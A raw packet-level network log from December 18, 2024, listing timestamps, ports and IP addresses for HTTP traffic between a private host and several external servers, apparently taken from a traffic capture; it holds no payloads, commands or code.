Dec 18, 2024 12:00:28.933300018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.934073925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.934134960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.934228897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.934276104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.935077906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.935178041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.935180902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.935229063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.936016083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.936084986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.936088085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.936146975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.936954975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.937012911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.937060118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.937175989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.937839985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.937892914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.937963963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.938024998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.938783884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.938934088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.938987970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.939733028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.939852953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.939876080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.939905882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.940691948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.940795898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.940857887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.941685915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.941843033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.941905975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.942650080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.942760944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.942797899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.942850113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.943779945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.943839073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.943844080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.943891048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.944989920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.945053101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.945087910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.945132971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.946615934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.946686983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.946697950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.946794987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.968683004 CET	80	49969	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:28.969196081 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:29.043507099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.368676901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.368769884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.368805885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.368840933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.368936062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.368977070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.368992090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.369024038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.369642019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.369684935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.369749069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.369930983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.370482922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.370537043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.370606899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.370671034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.374876976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.374922991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.374936104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.374944925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.374969959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375041008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375093937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375114918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375128031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375140905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375160933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375189066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375427008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375438929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375452042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375488043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375509024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375658035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375669956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375699043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375708103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.375847101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.375873089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.376288891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.376466036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.376508951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.376519918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.376548052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.377226114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.377346039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.377391100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.377978086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.378091097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.378132105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.378793001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.378856897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.378876925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.378894091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.379548073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.379666090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.379714966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.380234957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.380284071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.380332947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.380462885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.381134033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.381186008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.381205082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.381331921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.381797075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.381844997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.381855965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.381917000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.382477999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.382524014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.382570028 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.382606030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.383359909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.383407116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.383425951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.383486986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.384210110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.384258986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.384335041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.384458065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.384777069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.384833097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.384833097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.384927034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.385555029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.385603905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.385660887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.385699987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.386332035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.386382103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.386430979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.386467934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.387145996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.387191057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.387294054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.387370110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.388031960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.388077021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.388168097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.388210058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.389076948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.389177084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.389292002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.389328003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.389826059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.389870882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.389909029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.390093088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.390645027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.390703917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.390750885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.390853882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.391227961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.391288042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.391339064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.391377926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.391803026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.391858101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.391886950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.391925097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.392446995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.392494917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.392545938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.392736912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.393090963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.393136024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.393146992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.393491030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.393829107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.393874884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.393927097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.393958092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.394582987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.394635916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.394747972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.394784927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.395343065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.395380020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.395395041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.395415068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.396209955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.396259069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.396303892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.396359921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.396873951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.396915913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.396982908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.397015095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.397620916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.397675991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.397747040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.397779942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.398386002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.398426056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.398459911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.398658991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.399199963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.399245024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.399277925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.399378061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.399867058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.399912119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.399951935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.399991035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.400610924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.400655031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.400712967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.400743961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.401398897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.401525974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.401578903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.402277946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.402324915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.402360916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.402450085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.402928114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.402975082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.402990103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.403189898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.403650999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.403692961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.403778076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.403811932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.404409885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.404464960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.404501915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.405148029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.405198097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.405261040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.405448914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.405967951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.406014919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.406121969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.406153917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.406732082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.406784058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.406816959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.406861067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.407461882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.407505989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.407546043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.407577038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.408226967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.408392906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.408394098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.408601046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.408931971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.409070015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.409111977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.409667015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.411262035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.559572935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.559674025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.559732914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.559892893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.559942961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.559957027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.560033083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.560071945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.560729980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.560813904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.560818911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.560867071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.561492920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.561538935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.561628103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.561669111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.562268019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.562427998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.562582016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.563047886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.563121080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.563169956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.563776016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.563824892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.563877106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.563919067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.564526081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.564574957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.564681053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.564776897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.565253973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.565335989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.565349102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.565449953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.566015959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.566066027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.566112995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.566181898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.566797018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.566849947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.566852093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.566907883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.567555904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.567606926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.567709923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.568192959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.568285942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.568344116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.568365097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.568460941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.569068909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.569102049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.569122076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.569169998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.569792986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.569847107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.569906950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.569947958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.570564032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.570621967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.570647001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.570844889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.571407080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.571444035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.571471930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.571496010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.572056055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.572228909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.572280884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.572865963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.572916985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.572945118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.572993994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.573570013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.573946953 CET	80	49913	185.215.113.17	192.168.2.6
